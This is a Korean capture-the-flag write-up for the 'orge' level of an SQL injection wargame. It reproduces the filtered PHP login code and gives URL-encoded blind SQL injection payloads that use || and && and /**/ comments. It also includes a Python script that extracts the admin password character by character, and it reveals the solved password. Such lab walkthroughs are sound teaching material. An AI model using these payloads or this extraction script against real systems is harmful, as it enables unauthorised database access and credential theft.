문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
  highlight_file(__FILE__);
?>

orgeorc와 같은 Blind SQL Injection 문제이지만 or, and 문자열까지 필터링합니다. 따라서 or||, and&&로 바꿔야 합니다.

exploit

비밀번호 길이 확인

?pw='||id='admin'%26%26length(pw)=8%23

&&는 URL에서 파라미터 구분자인 &와 충돌하므로 %26%26으로 인코딩해야 합니다.

비밀번호 한 글자 확인

?pw='||id='admin'%26%26ascii(substr(pw,1,1))=55%23

응답에 Hello admin이 있으면 조건이 참입니다.

자동화 코드

import requests
from string import ascii_lowercase, ascii_uppercase, digits
 
URL = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
COOKIES = {"PHPSESSID": "본인 세션 값"}
 
charset = digits + ascii_lowercase + ascii_uppercase
password = ""
 
for pos in range(1, 9):
    for ch in charset:
        payload = f"'||id='admin'&&ascii(substr(pw,{pos},1))={ord(ch)}#"
        res = requests.get(URL, params={"pw": payload}, cookies=COOKIES)
        if "Hello admin" in res.text:
            password += ch
            print(password)
            break
 
print(f"password: {password}")

구한 비밀번호를 그대로 입력합니다.

?pw=7b751aec

주석을 공백처럼 섞은 Blind SQLi

orgedarkelf처럼 or, and가 필터링되므로 ||, &&를 사용해야 합니다. 여기에 /**/를 넣으면 공백 없이도 조건식을 토큰 단위로 나눌 수 있습니다.

비밀번호 길이를 확인하는 payload는 다음처럼 만들 수 있습니다.

?pw='/**/||/**/id='admin'/**/%26%26/**/length(pw)=8%23

URL 인코딩을 더 명확히 적용하면 다음과 같습니다.

?pw=%27%2F%2A%2A%2F||%2F%2A%2A%2Fid=%27admin%27%2F%2A%2A%2F%26%26%2F%2A%2A%2Flength(pw)=8%23

한 글자씩 확인할 때도 같은 방식으로 작성할 수 있습니다.

?pw='/**/||/**/id='admin'/**/%26%26/**/ascii(substr(pw,1,1))=55%23

배운 내용

  • orc와 같은 구조라도 필터가 추가되면 payload의 연산자 표현을 바꿔야 합니다.
  • &&를 URL에 직접 쓰면 파라미터 구분자로 해석될 수 있으므로 %26%26 인코딩이 필요합니다.
  • 공백이 필요해 보이는 위치에는 /**/ 블록 주석을 토큰 구분자로 넣을 수 있습니다.
  • Blind SQL Injection 자동화에서는 Hello admin처럼 참일 때만 나타나는 문자열을 기준으로 응답을 판별합니다.